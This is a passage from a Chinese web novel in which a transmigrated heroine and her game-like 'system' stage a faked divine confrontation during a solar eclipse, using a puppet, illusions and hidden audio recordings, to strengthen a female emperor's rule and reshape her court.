乱归乱,他们没忘记之前的天灾与此时的神迹,更何况还有在旁边虎视眈眈的士兵,高处盘旋的青龙,他们不敢正大光明地指责神女。
姒昭望着乱像,听着系统转达的抱怨责怪之语,暗中问系统:
“来了吗?”
系统:“马上。”
冰冷的、唯姒昭听得到的倒计时响起:“三、二、一——来了!”
刹那间,阳光一寸寸地消失,黑暗笼罩大地。
日食。
而在这个时代,它也被叫做天狗食日,被普遍认为是上天对人间的警示、对凡尘秩序的干预。
这下没有人再关心神女的规则了,她们的注意力被转移到日食上了。
“天,天呐!”
“这是什么?”
“怎么会这样?”
人群中的抱怨责怪在这一刻变成了惶恐。
光在消失,她们抬头,只能看见那亘古不变的太阳仿佛被吞噬,在消灭。
黑暗统治了这片大地。
别说百姓,士兵、朝臣、天子都在慌乱,姬荣面色难看,转瞬又将情绪压下去,看向姒昭:
“神女,这……”
这是神女亲自挑的吉日。
姒昭对她露出今日的第一个笑容,那种……真切的,带着浅浅的愉悦的笑。
这是姒昭亲自挑选的日子。
按任务背景的介绍和系统推算,今日这个时间,日食。
但这确实将在姒昭的手中变成吉日。
曾经把姬荣和她的女官们架在火上烤的灾祸,姒昭将用它杀死一切敢于挡路的东西。
她悄然按下换装按钮,部件【牵丝戏】,现身。
与此同时,天际缓缓升起一轮巨大的圆月,像天空睁开了眼睛。
并不明亮的月光照不亮人间的黑暗,只让人觉得惊恐。
无它,那轮月亮出现的突兀,且它太大了,简直不像是悬挂在天幕上,而是脱离了天空、亦脱离大地,像颗苍白荒凉而空洞、直直放置在她们眼前头顶的眼珠子。
天空像被人挖走了眼睛,只留下空荡荡的眼眶。
所有人都陷在惶恐不安中,突然,一声淡漠而空灵的女声响彻天地:
“这便是你妄自插手、想要庇护的人间吗,巫山神女”
16. 第 16 章
那道声音淡漠,似极寒之地终年不化的冰川,如冬日凛冽的风雪般传遍全城的每一个角落,重重的砸到人们心里。
即使是未曾来观礼的人也听到了这道声音。
系统:不枉我和宿主悄悄溜出宫在城中放上提前录好的音频,保证城中每个人都能听见“反派”的声音,不错过这场大戏。
田间劳作的人正为日食惶恐,困于后宅的妇人点上烛火,嬉闹的孩童停止了游戏,起先只是因为暗下来的天色与消失的太阳,这一刻则将心神都落在了那道声音上。
“那是谁?”
“谁在说话?”
人群像无头苍蝇一样仰头环顾四周,寻找声音的来源。
“巫山神女,她说的巫山神女是……”
有人将目光放到了高台上的仙人身上。
这里唯一能被称作神女的,唯有那一位。
抬首望去,即使光明消失,黑暗降世,神明依旧皎如明月,皑如白雪,不染红尘。
即使太阳消失,她依旧平静,不曾为此皱一下眉头。
姒昭望着这一切,在意识里对系统道:“注意配合,看时机叠加使用幻术技能。”她辛苦完成任务攒奖励就是为了这一刻。
而她则按下换装按钮,开始布景。
与此同时,百姓看到天边铺开月华织成绸缎,看似飘渺的云气如帘幕般被拨开,乘着月光的神明于星河间缓步登场,如三春桃李,似寒冬梅花。
寒风冷月,踏纱而来。
另一位,神明。
姬荣等心下一沉,皆是将目光投向姒昭。
来者不善。
转换日月、颠倒昼夜的神仙本事实在神奇惹人惊叹,可若是用来对付自己的,就让人难以开心起来了。
在众人的注视下,姒昭终于动了。
她抬眸望向天上那位踏月而来的仙,踏出了第一步。
“恒娥”
姒昭道出了来者名姓。
与之前一样,声音不大,却实实在在传到每个人耳朵里。
无人可见,系统悄悄将扩音器凑近了一点。藏在城中各处的录音机当然也在同步播放她说的话。
祭台之上,天上仙与人间仙两两相望,天上那位气质飘渺逸远,神情慈悲温和,几乎要让人忘了最开始那句质问,人间的仙则踏在大地之上,与千千万万的凡人站在一侧,辽阔的土地托举起人也托举起仙。
“千年了,你还眷恋着凡尘吗?巫山神女?”
恒娥仙子身上泛着柔和的光辉,神情悲悯,恰如身后那轮月。
姒昭面色不变,仿佛对面前的情况早有预料,并不因对方的出现而慌张,她并不回答恒娥的话,只道:
“此时该是白昼,羲和神君掌权,金乌落于扶桑。”
“你逾越了,恒我。”
百姓议论纷纷,曾与姒昭有过交谈的姬荣则暗自皱眉。
这大概就是神女说的那位上古时期想要夺取太阳权柄的神明,也是……与周有一份不太美好的因果的神明。
思及此,即使有姒昭在,望着取代光明的黑暗,恒娥身后那轮取代了太阳的巨大明月,她仍旧忍不住在心里担忧。
而恒娥只是抬手轻轻拨弄月轮,便见那月显得愈发明亮,漫天星辰点缀,衬得女神的天衣更加无暇,像是对姒昭话语的不屑。
她的目光第一次离开姒昭落在凡人身上,神情淡然语调懒散,说出的话却如冷水泼入油锅:
“千年前你妄自插手凡尘事,将翊神弓传给凡人,推动她们射杀金乌,犯下大错,今日仍要偏帮、与天庭作对吗?”
此话一出,众人皆惊。
“翊神弓……”
“凡人射杀金乌……”
“那不就是,就是,从前那个说法……”
有人想起从前坊间流传的、神女与姬氏的渊源。
在那些与神女、帝王、天残有关话语里,也曾有过千年前神女赐神弓、姬氏族长射日的传说。
那时一部分人相信,一部分人怀疑,一部分人半信半疑。
而今看来,莫不是真的。
凡人喧嚣吵闹,却又碍于仙人的对峙不敢高声谈论。
可那些话必然会被神仙听到。
恒娥继续道:“你私自插手人间因果,若那些凡人祭祀你、还了因果也就罢了,可百年一过,谁记得你?”
“你再看看如今参加祭典的都是什么东西,那么多的天残,你不觉得恶心、被亵渎吗?”
那仙人的语气逐渐变的冰冷,如淬了数九寒冬的冰:
“更遑论你作为西王母的学生,数次前往女娲宫听道,明知人类如今是什么样子,是如何欺侮、亵渎娲皇恩赐,任由天残掌权当道,如今居然站在这些东西一方,帮她们渡过天灾,你愧对西王母与娲皇教导,不配为神!”
一字一句,尽是冷意。
刺耳磨人的声波震得人们头疼脑胀,回荡于天地间经久不绝,不少人抬手捂住耳朵,试图隔绝这让人难受的声音。
但比这更难受的,是那仙人话中的意思。
无数男人惊怒于恒我直白地将他们贬低的一文不值,但更恐惧天灾。
女人则恐惧巫山神女听信恒娥的话,弃人间于不顾,同时心中那自“天残”言论出现时就从心底发芽的、压抑着的种子被刺激到疯长,望向身旁男人的目光透着以往没有的不悦、愤怒与审视。
不过被神厌弃天残而已,有什么了不起的?我为什么忍让他们?现在的灾祸不就是他们带来的吗?
也有无数的私语在人群中传递
“是西王母……”
“神女娘娘是西王母的学生”
这是位在凡间留有许多传说的神明,众女仙之首。
老师如此强大且地位崇高,想来神女在天庭也绝非末流。
“还有女娲宫,原来神女曾听过娲皇讲道”
能听娲皇授道,神女必非等闲之辈。
百姓纷纷议论梳理着恒娥话中的意思,从其间看见了友好而关系亲密的女神们,不乏细心的人留意到,自始至终,未曾听闻天庭有过男神,包括天灾一事,女神自然不会反对,男神呢?
或许从来就没有男神。
天残怎么可以成为神?
他们只会带来灾祸
就是他们不敬娲皇神女才有灾祸
他们会害死所有人
应该是我们掌权当道
......
有火焰在心底燃起,或许微小,但终将壮大。
不是每个人都敢于质疑以及反抗现存结构的不合理,但一定会有人质疑和反抗。
她们望着彼此,望着恒娥,最终将目光投向如玉石神像般的巫山神女。
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天际的神明望向她的目光冰冷燃着怒意,人间纷纷扰扰百姓声不消,天光下唯她一如既往超然物外。
面对恒娥的质问指责,她沉默淡定像风平浪静的海,只是很平淡的开口:
“你的月亮快要死了”
依旧是那样平淡的,冷静的,没有一丝情绪波动的声音,却犹如平地惊雷,砰一声炸响在她人心头。
不等恒娥回话,姒昭再次开口:
“你因拯救濒临死亡的月亮而成为月神,司掌太阴,因果线却也将你们绑在一起,从此同生共死。千年前太阴难渡死劫,你亦随之走向天人五衰的命运”
“可你不甘心,所以开始抢夺羲和掌管的太阳权柄,天火、金乌、人间大旱,皆由此出。”
她直视着恒娥:
“只是你没想到我会插手,最终射下十一金乌、将秩序拨回正轨的会是凡人”
“而今来此,天灾不过借口”
不提天上仙是如何面若冰霜,凡人已震惊地张大了嘴。
神明之间的故事可比茶楼说书人讲的更跌宕起伏。
听着不过短短几句话,然而结合这么久以来流传于大街小巷有关神女的故事,又有发酵时间,给人留足想象空间,又有当事人在场亲口盖棺定论说明原委,对于生活里没多少娱乐的百姓来讲是很有意思的。
“所以那位神明其实只是纯厌人啊”
毕竟正主在场,武力值差距过大,她们不敢直呼恒我名姓
“可不嘛,俺们人族得了巫山神女娘娘的神弓射下那什么,金乌,坏了她的事”
“难怪她要在神女娘娘的祭典上跑出来搞破坏”
......
百姓言论诸多,姬荣则想起之前神女说过的话。
这是神女的因果,也是她和周的因果。
是先祖踏上巫山,神女赐下神弓,从此与姬氏结缘。
要夺太阳权柄的太阴神君恒娥不会就此善罢甘休,放过破坏她计划的凡人,也不会与巫山神女善了。她不知道这位神明与巫山神女之间会有怎样的争斗,但周若无神女庇护,必然生灵涂炭。
幸而有那一份因果、一份未了的祭祀在,神女庇佑大周,无论面对天灾还是恒娥神君的怒火。
她目光灼灼,望向姒昭。
凡人看姒昭的眼神有多友好,恒娥的目光就有多冰冷。
这位太阴神君怒极反笑:
“呵,巧舌如簧”
然而姒昭的话还在继续。
她根本不在乎恒娥的愤怒,只是自顾自地讲述,而其她人却会被她的话语牵动心绪。
从最开始起,她唯一有过的一次情绪波动是在朝堂上,那时候朝臣几乎以为她会像老虎吃掉凡人一样吃掉她们,但是她没有,只是宣布天灾将临的消息。
除此之外,她一直表现得像大海,所有的情绪都藏在海面下,究竟是平静还是暗流涌动无人知晓,而海面之上,永远让人看不透。
”千年前你想要太阳权柄,又想要人间信仰”
“人间因十二个金乌大旱,转而信仰其她神明,你也从中获利”
“但现在不是千年前了,你想从这次天灾中获得什么呢?”
她望着恒娥发问。
四目相对,像两把出鞘泛着寒光的利剑。
台下人连呼吸都清浅,怕不小心惊扰了神明的对峙。
17. 第 17 章
明月高悬,黑暗依旧。
唯有两位神明明媚耀眼,如光本身般亘古长存,绝不会因太阳隐匿而黯然失色。
系统:那必须的,系统出品,必属精品。只要穿上我们的套装,无论什么环境都能保证你的光彩照人。
唯一的问题是……
“宿主,日食快要结束了。”
收到提示的姒昭在识海里道:“收到,准备配合我,还有记得倒计时。”
差不多了。这场戏该落幕了。
拨正光阴、轮转日月的神仙本事,世人会喜欢的。
收回思绪,她再次望向天际的恒·套装部件【牵丝戏】·娥:
“说什么凡人渎神,扯什么天灾,实际上值得你亲自前来的无非是周室气运”
“千年前你想要太阳权柄人间的信仰,如今你想要趁着天灾收割周室气运,你要用它们来改变天人五衰的命运,对吧?”
众人眼里,巫山神女的身影宛如青松劲竹,即使月色如雪倾覆,她自不屈。
同时也意识到神女话中的意思,天上这位恒娥神君要趁人之危拿人气运!
人群里能识文断字的不少,根据“气运”两个字也能猜出是什么意思,纵然有猜不出的,光那个“运”字她们还能不知道这是好东西吗?
要拿的还是整个大周的!
这神仙怎么能这样?不救人就算了,为何还要拿凡人东西?她们也有一直烧香拜佛、给香油钱啊,她们又何曾做错了什么?
人们忍不住想。
这样想着,她们的目光又转向了人群里的男人。唯一做错事、致使天灾降临的,不就是……天残?
黑暗笼罩,看不真切周围的人,但也正好借着这黑暗,怒火与抱怨是如此明显。
“你说这男人真讨厌”
有小声的抱怨在人群中流散。
“可不是吗,不然哪里来的天灾?”
有人在附和。
“他们还辱骂过巫山神女娘娘”
这是记仇的。还记着天灾传言刚出来那会儿的某些言论。
“不是他们又怎么会招来那恒娥仙君?”
力量悬殊过大,没人敢去责怪远在天际实力强大的恒娥,但她们可以憎恶身边的男人。
听到抱怨的男人不满愤怒,但他们身边站的是女人,负责维持秩序的官兵是女人,高处站的是女人,天上那位踏月而来、身后明月作配的也是女神,他们不敢有动作。
凡尘纷扰,高台之上的姒昭也没闲着。
她必须抓住时机,把这场日食利用到极致。
祭台之上,神女踏出一步。
方才还在小声吵嚷的众人随她的动作闭上了嘴,目光紧紧追随,不愿错过一分一毫。
姒昭按下系统面板上的按钮,在之前幻术的基础上叠加使用奖励【高级幻术】。
高级幻术:蒙上你的眼,捂住你的鼻,让你听到我想让你听的,让你感知到我所想的。
于是,
哗啦——
姒昭踏出第一步,众人耳边传来水的声响;
踏出第二步,她们恍然觉得自己的衣裤被打湿,低头一看,不知何时竟置身湖水中;
第三步,似有游鱼自腿边往来,朝水中看去,水极清,没有鱼,可又极深,一眼望不到底。
看过去直觉自己马上要坠入万丈深渊。
有人吓的闭着眼不管三七二十一抓住身边的人:“妈妈呀,常言道水黑则渊、水清则浅,我看这水也不黑,咋那么深?”
旁边的大姐扶助她:“这是神仙法术,哪里能和人间一样?你瞧瞧这儿之前有水吗?还不是神女施了仙术。”
被上官玥、姜玘等女官拱卫在中心的姬荣也觉神奇,这水似乎极深,可分明只到人腰际。她站在高处,水本该漫不上来,否则下方的人必被淹,可偏偏那水就是在这儿。
若是伸手触碰,也不起半分波澜。
果然是神仙本事。
她们望向姒昭的眼神炽热,恒娥就相反了。
那位仙子的脸色很不好看,她望着那水,声音中难掩惊怒:
“归、墟?!”
有博学的人脑子转得飞快,已经从大量知识中刨出了有关“归墟”的内容。
【渤海之东不知几亿万里,有大壑焉,实为无底之谷,其下无底,名曰归墟】(《列子·汤问》)
有传闻这是冥界入口,亦有传言是鲛人之国。
想到这一层,站在水中的人的脸色也难看起来,冥界……该不会巫山神女娘娘要把她们打包扔进去吧?
姬荣等则坚定地相信姒昭无论如何不会伤害她们,否则何必来此,直接让她们在天灾里自生自灭、被恒娥取走气运即可。
但是话说回来,归墟是生死交汇之处,这里的“生死”也包括神明吗?
恒娥脸色惊色未消:“你为巫山神女,怎么可以调动归墟之水?”
“那是玄冥神君的权柄!”
高台上的神淡然反问:
“你既知我为巫山之神,也该知我掌江河湖泊,又为什么对此感到惊讶呢?”
江河湖泊,天下之水
八纮九野之水,天汉之流
俱归她掌。
归墟,自然也在其列。
恒娥怔然:“难怪,难怪你知太阴将崩……”
能对她说出“你的月亮就要死了”这样的话,因为她就是玄冥神君。
或许泛舟湖上,归墟的倒影里,她曾看见过太阴的模样。
底下的百姓也一幅张大嘴的震惊样,没想到神女还有另一重身份。
有人由此想起被遗忘的某道身影,不自觉皱眉:“不对啊,这样说起来,那位青蛇仙君呢?还有先前的青龙?”
跟在神女身侧那青色身影去哪里了?
系统正在报时。
“距离日食结束还有六十秒”
“六十,五十九,五十八……”
耳畔响起倒计时的声音,姒昭按下染色按键,系统同步提示:
【对套装[凌波·白]使用染料×53
获得套装[飞天·炽]】
黑暗里神女原本纯白圣洁的衣裙在转瞬间变换,炽热的红笼罩了她的身体,金与绿交织的色彩做为赤色的点缀,她轻轻迈出一步,身姿轻盈,让人想起天竺佛教里的飞天。
但她又绝不是飞天,因为她踩着赤色凌空,来到恒娥面前与其对峙,像燃烧黑夜的火:
“巫山如何,归墟如何,天灾如何,我怎么做,与你无关,太阴神君”
同一时刻,
“四十三、四十二、四十一……”
系统的倒计时还在继续。
凌空的神女抬起手指向那轮月,指尖爆发出耀眼的光芒:
“至于太阴死劫,无论你找什么方法破
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解,答案绝不该是你如今的做法”
凡人的眼随着神明而动,耳听神明之言,即使光芒灼人眼目,也想亲眼目睹奇迹。
天边,那恒我仙子望着姒昭的举动,脸色猛然一变。
“二十八,二十七,二十六……”
只见那原本铺就地面的归墟之水乖顺地随神女指挥而动,哗啦一声卷起滔天巨浪,于天幕之下朝恒娥呼啸而去。
“十三,十二,十一,十,九……”
恒娥抬手应对,身后那轮月随心意动作挡在她身前,归墟之水尽数退去。
“五,四,三……”
然而异变突生,有青龙盘旋在姒昭手臂之上,如今突兀地在空中化为原身,庞大的身形遮天蔽日,张口吞下了那轮明月。
这才是系统皮套的完整形态。
青龙盘旋,纵身跃入归墟之水,再次隐匿身形。
“归零”
天地色变。
霎时间,光芒重现,再抬眼,已是青天白日,太阳高悬。
再见光明,百姓心中俱是震撼讶异,她们抬头看青天,刚刚消失的太阳重新出现,取代太阳的月亮则彻底消失。
“太阳,回来了”
有人愣愣地望天,有种不真实的感觉。
“是仙术”
有人喃喃道。
“青龙原来一直在神女身边。”
她们低头去看,归墟之水早已消失,自己的衣衫也未被沾湿半点。
恍如一梦。
抬头望,天际的仙人看起来依旧强大高贵,不沾世俗,即使月色陨落也不损她分毫。
巫山神女还是那幅淡然超脱的模样,她只是轻轻抬手拨动光阴轮转日月,将时光拨回正道。
原本全身笼着月色、显得高贵神秘的恒我仙子失去了月色铺就的道路,本来柔和慈悲的神情被冷意与压抑的怒火取而代之。
但更多的,是掩不住的震惊:
“腾蛇……”
她直视姒昭:“腾蛇是女娲宫祥瑞,怎会与你这样干涉凡尘天灾的神为伍?!”
底下部分人闻言则茅塞顿开:“原是腾蛇。”
她们就说,那青龙瞧着外形与龙形并不相同,平日里跟在神女身边的又是青蛇,没道理祭祀大典上不见青蛇仙君啊。
原来自始至终都是腾蛇,不曾改变。
姒昭望着恒娥:
“你觉得天残可恨,人间无可救药,却忘了娲皇按照她的模样创造女人,给予女人神眷”
“而人间还有女人,还有希望”
“娲皇仁慈,自会给人间留一线曙光”
她伸手指向姬荣:“你看见了吗,那是昔年姬氏的后人,如今人间的君主。”
“她是女人,是位好君主。”
姬荣愣住。
恒娥怔怔,百姓恍然。
她们曾怨过为何有天灾,为何神明要这样对她们,为什么不可以只惩罚那些天残。
但是,原来,神明在命运里给人留了一道逃出生天的缺口。
借着神女与周的因果,姬氏的渊源,天灾里有神女相助。
恒娥面色复杂,最终只道:
“那你该明白,天残仍旧当道,天灾不会结束。”
说罢,她的身形缓缓消散,融化在碧蓝色的天幕里,归于天庭。
徒留凡尘之人心头思绪难解,巫山之神踏足凡间。
18. 第 18 章
神明先前那身纯白圣洁的衣裳已染上庄重浓艳的色彩,她自天际落于凡尘,像晴好阳光下燃烧的烈火。
在场的人尚沉浸在仙人斗法、改天换日的震惊里,就见姒昭将目光投向了她们。
被那目光扫过的人莫名有些拘谨不安。
她们悄悄挺直了身板,又彼此遮掩着理了理衣袖,生怕自己有半点不庄重。
姒昭开口,话语准确无误地传到每个人耳朵里:
“娲皇仁慈,给人族留下了一线生机,但能否把握住这一线生机,要看你们自己。”
“天灾是否严重、时间是否长久,皆取决于你们的做法。”
天气晴好,微风不燥,神明长身玉立,似玉雕琢成的像。
底下的人心中五味杂陈,若是此前她们内心或许没有那么深的感触,可如今有人亲历天灾,又见证神明斗法,知晓女娲慈悲、神女心善,人间有希望,内里自然百念横生。
但见神女转而望向帝王,轻声道:“此处便交给你们了。”
随后转身离去,踏出一步,原本凝实的身影便消散一点,短短几息间便彻底消失不见,只余凡人感慨怅然。
系统:宿主我们为什么要这样慢慢地一点点挪进系统空间啊?
姒昭:因为神女要保持格调退场,但腾蛇已经用过了,不能再用。
不知真相的姬荣等人只觉神女就此离开的场景如雪花消融于盛夏,带着说不出的圣洁又莫名伤感,勉强收拾好心绪,压下内心的不平静,给这场震撼人心的祭祀典礼收尾。
*
系统空间内,姒昭刚进去就听到了一连串的任务完成提示音。
“恭喜你打出成就【风华绝代】”
——你的风采无人能及
“恭喜你打出成就【倾国倾城】”
——无论君王、大臣、百姓,她们都为你倾倒
“恭喜你打出成就【情深似海】”
——攻略对象爱你至深,今生今世不愿与你分离
“恭喜你打出……”
嘀——
姒昭直接给提示音关了。
太吵了。
这才只是成就,还有任务完成播报和奖励播报,等它一个个顺着播报完不知道要到猴年马月。
她直接点击一键领取奖励,然后翻一翻还有什么没打出来的成就和没完成的任务,思考着怎么给它排到她接下来的剧本里。
只是成就和任务种类也挺多的,宠妃任务嘛,路子挺多,走妖妃道路的,立贤后人设的,多了去了,对应的奖励和成就也不同,甚至还有不少隐藏任务和成就,只有触发了才会显示。
姒昭想着她大致定下的剧本,翻翻系统面板,又往小本本上添了两笔。
系统也在翻自己的面板。
它拿了自己的奖励之后就开始翻系统商城,励志要像宿主那样化腐朽为神奇,它也要成长,要主动完成任务,不能只被宿主带着走。
想当初它的皮套【腾蛇】就是在宿主建议下选择购买的,当时自己只觉得帅气,还疑惑为什么之前宿主都希望它不要以完整形态而以蛇形出现,原来是为了今天。
点开换装模板,它戳了戳套装【人偶师】的配套部件【牵丝戏】。
这就是之前配合姒昭演戏的恒娥仙君啦。
只不过现在卸下妆造衣饰,回到了衣柜做回那个安静的人偶。
【牵丝戏】:做你的傀儡,与你心意相通,永不背叛。
心意相通加提前对过剧本录过音,当然不会出错。
姒昭见系统难得安静,忍不住逗它:“你可要小心对待这个人偶哦,恒娥仙君之后还要出场呢。”
系统:“啊?为什么呀?”
“按照剧本,恒娥不是反派吗?她不是天人五衰、马上就要随月亮死去吗……”
哎不对。
系统一拍脑袋:这只是宿主的剧本,月亮并不会真的死去消失,为了圆剧本,她们当然不能搞出“恒娥已死”的剧情。
见它神色变换,姒昭明了它已经想通问题关键,便肯定道:
“嗯哼,而且你别忘了,说到底无论日食、大旱、洪水、地震,我们不是真的神明,没法掌控这些灾难,这些灾难迟早会结束。”
“我们能做的只是减轻灾情影响、稳定秩序一类的工作,并且抓紧时机推进目标实现。”
“那么这整个剧本必须做到逻辑自洽,姮娥就是补全剧本的最佳选择。”
装神棍可以不直说很多东西、在很多事情上当谜语人,让凡人自己去悟,但在关系大局的地方绝不能掉链子,让整盘局崩掉。
系统望着她:“你已经很厉害了宿主。”
按照这个世界原本的轨迹,天灾会把姬荣和她的女官们置于风口浪尖,会有无数人指责她们不该上朝堂。
日食的出现更是像往油锅里泼了瓢冷水一样,使得姬荣不得不写下罪己诏,面对世家男臣暂且退让。
但事情并未就此好转,随之而来的各种灾难让她们焦头烂额,兼之有心之人在其中运作,民间出现了各种明目张胆针斥责妇人上台司政的言论,灾情严重处更是出现了农民起义军。
其实上苍从来没有站在姬荣她们这边过。
也就是因为知道这样的背景,系统最初无法理解姒昭居然选择姬荣作为攻略对象。
最初登基为王的骄傲、打下大片疆土的功绩、那时吏治清明、国泰民安的荣誉,都会随着时间,在一场场灾难的冲击下瓦解。
更遑论她曾种下等待发芽的那颗种子:她寄予重望的、本该成为下一任皇帝的太子,她的女儿,死在了小男儿手中。
她没想到那个意外怀上又生下的男儿会谋权篡位,杀死她的女儿,又想要杀她。
这实在不算一个让人愉悦的、能安心攻略帝王成为宠妃的背景。
好在,姒昭从来也没想过要成为宠妃。
她和系统曾听前辈讲述过的那些特立独行的传奇宿主一样,从未放弃过生而为人的权利,也终将成为传奇。
系统目光灼灼,姒昭则完全没意识到短短几秒内搭档的脑筋转了几道弯,定好了接下来要做什么后立马着手行动。
她离开系统空间,凹好神女遗世独立高贵典雅的姿势后唤来了侍候在殿内的女官,准备之后的事宜。
*
第二日,朝会上龙椅旁又多了个座。
看到这熟悉的一幕,所有人都不由地心下一紧。
她们可没忘记上次神女上朝发生了什么。
女官还好,男官脸都绿了。
由于神女的缘故,他们最近总觉得对上女官气势就自动弱三分,在哪儿都不适应身边有女人,哪怕是以往见惯了的侍女,回到家也不太敢往母亲妻子女儿面前凑。
那日祭典上的事,他们私以为只有在场的人知道,哪知回去一对账惊奇地发觉即使未到场的八十老娘五岁小女都清楚。
这可就奇了。
再一细问,据说无论到没到场,都听到了神女娘娘与姮娥神君的对话,见到了天色突然暗下来又亮起。
“神的声音传遍了全城”
“神女好像就在我耳边说话一样”
她们这样说着。
于是世人都道这是场神迹。
系统:是啊,神迹,要提前演一遍剧本录好音并跑遍全城放好录音带,调好定时播放,确保每个人都能听到,现在还要苦哈哈去回收。
当神棍是要付出劳动的。
系统幽幽叹道。
“邦”
姒昭轻敲了一下它的脑门:什么神棍,我们是神明。
“嗷”
系统小声尖叫。
在满殿朝臣眼中,就成了上首的神女突然出手训诫化作青蛇形态的腾蛇仙君,本还在高谈阔论的大臣瞬间噤声。
天子朝臣的情绪目光都被她所牵动,齐齐看向了她。
今天的神女也理所当然地坐在了龙椅上,青蛇也跟着盘在上面做装饰。
至于姬荣这位正经天子,她也和上次一样坐旁边。
感受到身上汇聚的炽热视线,姒昭不在意地摆了摆手,示意自己无事,朝会继续。
短暂的沉寂后,大殿再次被臣子帝王谈论政务的声音所充斥。
接下来的几天姒昭都跟着一起上朝,不仅仅是上朝,姬荣批折子、和上官玥她们议政她也要参与——指霸占姬荣的位置,坐在旁边听着。
她不发表意见,也不怎么说话,但作为神明,她只要坐在那里,一个她们抬眼就能看见的地方,这就足够让人头疼惶恐的了。
但要说最让男臣们恐惧的还是那青蛇忽然离开神女,穿梭爬行于大殿之内,停驻在某个男臣身旁,冷不丁来一句:
“听说你准备强纳你妻子身边的丫鬟做妾室?”
被问到的人
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双目圆睁,面色赤红,顶着满殿同僚上司的目光不知该作何回答。
确有此事没错,但青蛇是怎么知道的?
诚然该男臣心中不觉自己的行为有什么问题,可近日以来的天灾、神女祭典之言、帝王的态度都把他们架在火上烤,在这种时候弄出这等强纳女子为妾的问题……
不等他辩驳什么,青蛇又转向了另一位男臣:“据说你不愿与妻子和离,撕了她的和离书还把她禁足了?”
于是殿上又多了一位面红耳赤之人——不过这位脸皮较厚,脸红大概率是气的。
他试图辩驳自己是为了妻子好,和离之后妻子的生活会很艰难,跟自己在一起是最好的选择云云,谁料刚开口就被青蛇一尾巴抽飞了。
经此一遭,剩下的人也明白了神不是来听他们辩白、跟他们讲道理的。
神并没有允许任何人开口。
接下来青蛇开始可汗大点兵,被点到的只能乖乖挨批不能张口反驳,一个个气得脸色发青。
最终他们被青蛇狠狠整改了一番,该和离和离该骟骟,不骟的也被要求把那该死的胡子剃了。
——当时的男子以蓄胡子为美,又极重视毛发。
左边是骟,右边剃须,两头对他们来讲都是羞辱。
然而对上青蛇那铜铃般的大眼、吐着信子的血盆大口、铁柱子似的躯体,没人敢上去反抗。
要说不愿受辱宁愿去死的烈夫也不是没有,但任你撞的头破血流,帝王及神女自巍然不动,甚至那好事的姜玘还要上来帮没撞死的再撞一次。
对世俗荣华富贵的留恋最终战胜了所谓的傲骨清高,只能听话的接受制裁。
大不了回去以后他们也不许家里的男丁蓄胡须。有人暗暗想。
系统:我和宿主还是会坚持监视你们这些家伙的,一直。
除了朝堂上,平时偶尔来了兴致,姒昭也会翻翻大臣交上来的折子,看见写了无聊的口水话譬如通篇总结下来就是问候姬荣“皇上您身体好吗”“皇上您吃了吗”的内容时会代替姬荣回答。
这可把收到折子的大臣吓坏了。
从那以后,她们递折子的字愈发工整美观,辞藻也愈发华丽。
不过不管大臣们因她的举动有什么变化,姒昭也未曾做出什么举动。
只是后来几天后各处又有关于天灾的消息传来,朝臣看向她的目光更加敬畏,也寄希望于神女能发发慈悲帮她们解决天灾。
神女没说什么,但朝臣的日程表里又多了一件必做的事:去听青蛇讲道。
啊不,现在该叫腾蛇了。
神女之前就说过会腾蛇仙君会亲自授道,但没说具体是什么时候。
直到那日朝会结束,腾蛇开口就是“论土豆红薯的种植条件……”。
朝臣:红薯?土豆?种植条件!
包括姬荣在内,所有人都老老实实坐下来听道了。
第二天再来时大家就都默契地带了纸笔记笔记,结果没想到腾蛇道君换了个地方讲——已经有大群人占据了前排开始记笔记了。
好在神仙总有办法,叫她们这些落座后排的人也能听清腾蛇的话。
系统:谬赞了,悄悄用了麦克风而已。
几天听下来,大臣们不理解的地方确实有,大着胆子去向腾蛇请教也会得到回答,只是……那回答她们可能还是听不懂。
总之,先把懂的都记下来用于实践吧。
她们对照着彼此的笔记互相完善自己的知识点,与经验丰富学识渊博的前辈请教,最终整理修订出一套册子发放到民间,看得懂字的就去购买,看不懂的也没关系,朝廷会派人前去复述腾蛇所讲的道,躬身教导什么样的方法能让庄稼长得更好。
*
姒昭曾想过要让系统去民间把这些亲自教授给百姓,但这根本不现实,不说别的,人家忙的要死,谁会放下田里的活计来听这些掺杂着现代名词、不一定听得懂的课程?
于是她干脆让系统讲给那群臣子听,她们识字,读书也多,时间不少,正是干这活儿的料。
至于怎么把这些知识教给百姓、让她们去田地里实践,那就是姬荣和这些臣子的事儿了。
她要做的只是选出目前状况下最合适、最需要的知识。
果然,她们干的不错。
这让姒昭心情好了不少。
算算时间,她等的事件也该到来了。
19.第 19 章
天色未明。
又是一场与往日并无差别的朝会。
底下的人谈论着政事,姒昭在上面手抄《论母猪的产后护理》《应急医疗手册》等书籍。
近日以来她每日都和姬荣一起上朝,听着她们指点江山高谈阔论,但实际上自己对政务一窍不通。
系统还好,负责惩治该骟的男臣并给各部门专业人士讲道,姒昭就真没什么用武之地了。
她等的事件还没来,一直在刷的那个成就也没刷出来,但又不能无所事事什么都不做,于是她就开始誊抄一些系统检索出来的、对目前的大周有用的资料。
系统授道的知识多与防治自然灾害等有关,属于大周的急救药物,她誊写的则是大周需要但得慢慢来的内容。
等她誊抄好后就可以把这些拿给姬荣,让她安排好人手将这些印刷出来,无论用来授课还是当作指导都非常好用。
系统功能比起AI、搜索软件等只强不弱,这些资料它都有,只是需要有人自行搜索并把它变现。
同时感谢这个世界的文字和她那个世界的一样,感谢换装系统里有近现代学生套装,虽然有点难刷但她能拿到钢笔碳素笔,不然她就只能口述让别人代笔了。
她正写着,忽然听到系统在识海内出声:“宿主,来了。”
姒昭的笔顿住了。
她面上不显,手轻轻抚上了盘在身旁的腾蛇身上,以意念与系统沟通道:
“具体情况?”
系统:“季风携带着大量水汽朝东南方向吹来,和你所生活世界的厄尔尼诺现象相似,极有可能造成南方的洪水、北方的干旱,看时间,和任务背景里的描述对上了。”
姒昭目光微动。
那就没错了。
任务背景资料不可能细致罗列出姬荣在位这段时间所有灾难的时间,很多不那么严重的只会一笔带过,即使这样的小灾很频繁。
也是因此,这段时间也有关于各地受灾的消息传来,但姒昭并不发话,最多只让青蛇在授道时讲一些有用的东西。
但是大的灾难的时间、地点乃至赈灾细节都是会被罗列出来的。
为了确认这些记载真实可靠、事件不因她的出现改变,她特地让系统充当气象局监测天气、气候等的变化,与任务背景相印证。
如今看来,很好,一切都没变。
那么,接下来,又是她的主场。
朝会走到结尾,神女轻轻放下了笔。
叮
清脆的,突兀的,笔与案几接触的声响,瞬间吸引了所有人的注意力。
众人抬起头,对上神女的目光,又迅速低眉俯首,做出恭敬的姿态。
